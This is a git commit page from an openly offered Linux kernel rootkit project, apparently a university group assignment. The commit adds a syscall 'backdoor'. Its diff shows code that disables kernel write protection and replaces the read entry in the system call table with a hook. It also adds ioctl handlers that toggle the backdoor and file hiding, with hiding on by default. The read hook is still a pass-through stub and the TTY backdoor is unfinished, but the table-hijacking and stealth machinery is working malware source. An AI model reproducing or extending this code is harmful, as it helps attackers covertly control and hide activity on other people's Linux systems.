linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 31f64ebd7cdff01f0905b58499c2f54ec2a8bd99
parent 4942bb9bbe37f01be3374a4755b65d92433d9973
Author: deurzen <m.deurzen@tum.de>
Date:   Fri, 27 Nov 2020 13:40:57 +0100

adds initial syscall backdoor code

Diffstat:
Asrc/backdoor.c | 27+++++++++++++++++++++++++++
Asrc/backdoor.h | 8++++++++
Msrc/channel.c | 25++++++++++++++++++++++---
Msrc/g7.c | 42+++++++++++++++++++++---------------------
Msrc/hook.c | 25+++++++++++++++++++++++++
Msrc/hook.h | 2++
Msrc/rootkit.h | 7+++++++
7 files changed, 112 insertions(+), 24 deletions(-)

diff --git a/src/backdoor.c b/src/backdoor.c @@ -0,0 +1,27 @@ +#include "common.h" +#include "backdoor.h" +#include "hook.h" + +void +backdoor_read(void) +{ + disable_protection(); + sys_calls[__NR_read] = (void *)g7_read; + enable_protection(); +} + +void +backdoor_tty(void) +{ + disable_protection(); + // TODO + enable_protection(); +} + +void +disable_backdoor(void) +{ + disable_protection(); + sys_calls[__NR_read] = (void *)sys_read; + enable_protection(); +} diff --git a/src/backdoor.h b/src/backdoor.h @@ -0,0 +1,8 @@ +#ifndef _GROUP7_BACKDOOR_H +#define _GROUP7_BACKDOOR_H + +void backdoor_read(void); +void backdoor_tty(void); +void disable_backdoor(void); + +#endif//_GROUP7_BACKDOOR_H diff --git a/src/channel.c b/src/channel.c @@ -6,10 +6,11 @@ #include "channel.h" #include "common.h" #include "filehide.h" +#include "backdoor.h" #include "ioctl.h" #include "rootkit.h" -#define BUFLEN 4096 +#define BUFLEN 512 extern rootkit_t rootkit; @@ -60,10 +61,10 @@ handle_filehide(unsigned long arg) long sarg = (long)arg; bool set = rootkit.hiding_files; - if (sarg > 0 || !sarg && (set ^ 1)) { + if (sarg > 0 || (!sarg && (set ^ 1))) { hide_files(); rootkit.hiding_files = 1; - } else if (sarg < 0 || !sarg && !(set ^ 1)) { + } else if (sarg < 0 || (!sarg && !(set ^ 1))) { unhide_files(); rootkit.hiding_files = 0; } @@ -104,6 +105,24 @@ handle_backdoor(unsigned long arg) int handle_togglebd(unsigned long arg) { + char *msg; + long sarg = (long)arg; + + if (!sarg) { + disable_backdoor(); + rootkit.backdoor = BD_OFF; + msg = "off"; + } else if (sarg < 0) { + backdoor_read(); + rootkit.backdoor = BD_READ; + msg = "hooked into `read`"; + } else if (sarg > 0) { + backdoor_tty(); + rootkit.backdoor = BD_TTY; + msg = "hooked into `{p,t}ty`"; + } + + DEBUG_NOTICE("backdoor %s\n", msg); return 0; } diff --git a/src/g7.c b/src/g7.c @@ -10,7 +10,6 @@ #include "ioctl.h" #include "channel.h" #include "common.h" -#include "hook.h" #include "rootkit.h" #define BUFLEN 4096 @@ -19,11 +18,11 @@ static int __init g7_init(void); static void __exit g7_exit(void); -static int g7_open(struct inode *, struct file *); -static int g7_release(struct inode *, struct file *); -static ssize_t g7_read(struct file *, char __user *, size_t, loff_t *); -static ssize_t g7_write(struct file *, const char *, size_t, loff_t *); -static long g7_ioctl(struct file *, unsigned, unsigned long); +static int g7_fops_open(struct inode *, struct file *); +static int g7_fops_release(struct inode *, struct file *); +static ssize_t g7_fops_read(struct file *, char __user *, size_t, loff_t *); +static ssize_t g7_fops_write(struct file *, const char *, size_t, loff_t *); +static long g7_fops_ioctl(struct file *, unsigned, unsigned long); static struct mutex lock; @@ -32,54 +31,55 @@ static char buf[BUFLEN]; static struct file_operations g7_fops = { .owner = THIS_MODULE, - .read = g7_read, - .write = g7_write, - .open = g7_open, - .unlocked_ioctl = g7_ioctl, - .release = g7_release, + .read = g7_fops_read, + .write = g7_fops_write, + .open = g7_fops_open, + .unlocked_ioctl = g7_fops_ioctl, + .release = g7_fops_release, }; rootkit_t rootkit = { .hiding_files = true, + .backdoor = BD_READ, }; static int -g7_open(struct inode *inode, struct file *file) +g7_fops_open(struct inode *inode, struct file *file) { mutex_lock(&lock); - DEBUG_INFO("[g7_open]\n"); + DEBUG_INFO("[g7_fops_open]\n"); return 0; } static int -g7_release(struct inode *inode, struct file *file) +g7_fops_release(struct inode *inode, struct file *file) { - DEBUG_INFO("[g7_release]\n"); + DEBUG_INFO("[g7_fops_release]\n"); mutex_unlock(&lock); return 0; } static ssize_t -g7_read(struct file *file, char __user *buf, size_t len, loff_t *off) +g7_fops_read(struct file *file, char __user *buf, size_t len, loff_t *off) { - DEBUG_INFO("[g7_read]\n"); + DEBUG_INFO("[g7_fops_read]\n"); return 0; } static ssize_t -g7_write(struct file *file, const char __user *buf, size_t len, loff_t *off) +g7_fops_write(struct file *file, const char __user *buf, size_t len, loff_t *off) { - DEBUG_INFO("[g7_write]\n"); + DEBUG_INFO("[g7_fops_write]\n"); return 0; } static long -g7_ioctl(struct file *_file, unsigned cmd, unsigned long arg) +g7_fops_ioctl(struct file *_file, unsigned cmd, unsigned long arg) { channel_t c = detect_channel(cmd); - DEBUG_NOTICE("[g7_ioctl] on %#10x (%s)\n", cmd, c.name); + DEBUG_NOTICE("[g7_fops_ioctl] on %#10x (%s)\n", cmd, c.name); if (c.handler) return c.handler(arg); diff --git a/src/hook.c b/src/hook.c @@ -9,14 +9,17 @@ #include "hook.h" #include "rootkit.h" #include "filehide.h" +#include "backdoor.h" extern rootkit_t rootkit; void **sys_calls; +atomic_t read_count; atomic_t getdents_count; atomic_t getdents64_count; +asmlinkage ssize_t (*sys_read)(int, void *, size_t); asmlinkage long (*sys_getdents)(const struct pt_regs *); asmlinkage long (*sys_getdents64)(const struct pt_regs *); @@ -37,6 +40,9 @@ retrieve_sys_call_table(void) void init_hooks(void) { + atomic_set(&read_count, 0); + sys_read = (void *)sys_calls[__NR_read]; + atomic_set(&getdents_count, 0); sys_getdents = (void *)sys_calls[__NR_getdents]; @@ -45,6 +51,11 @@ init_hooks(void) if (rootkit.hiding_files) hide_files(); + + if (rootkit.backdoor == BD_READ) + backdoor_read(); + else if (rootkit.backdoor == BD_TTY) + backdoor_tty(); } void @@ -61,6 +72,13 @@ remove_hooks(void) sys_calls[__NR_getdents64] = (void *)sys_getdents64; enable_protection(); } + + if (rootkit.backdoor != BD_OFF) { + while (atomic_read(&read_count) > 0); + disable_protection(); + sys_calls[__NR_read] = (void *)sys_read; + enable_protection(); + } } void @@ -76,6 +94,13 @@ enable_protection(void) } +asmlinkage ssize_t +g7_read(int fd, void *buf, size_t count) +{ + DEBUG_INFO("testing g7_read\n"); + return sys_read(fd, buf, count); +} + // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12 asmlinkage long diff --git a/src/hook.h b/src/hook.h @@ -13,6 +13,7 @@ typedef struct { void *orig; } sc_hook_t; +extern asmlinkage ssize_t (*sys_read)(int, void *, size_t); extern asmlinkage long (*sys_getdents)(const struct pt_regs *); extern asmlinkage long (*sys_getdents64)(const struct pt_regs *); @@ -24,6 +25,7 @@ void disable_protection(void); void enable_protection(void); // hooks +asmlinkage ssize_t g7_read(int, void *, size_t); asmlinkage long g7_getdents(const struct pt_regs *); asmlinkage long g7_getdents64(const struct pt_regs *); diff --git a/src/rootkit.h b/src/rootkit.h @@ -3,9 +3,16 @@ #include "hook.h" +typedef enum { + BD_OFF = 0, + BD_READ, + BD_TTY, +} bd_state_t; + typedef struct { sc_hook_t hooks[16]; bool hiding_files; + bd_state_t backdoor; } rootkit_t; #endif//_GROUP7_ROOTKIT_H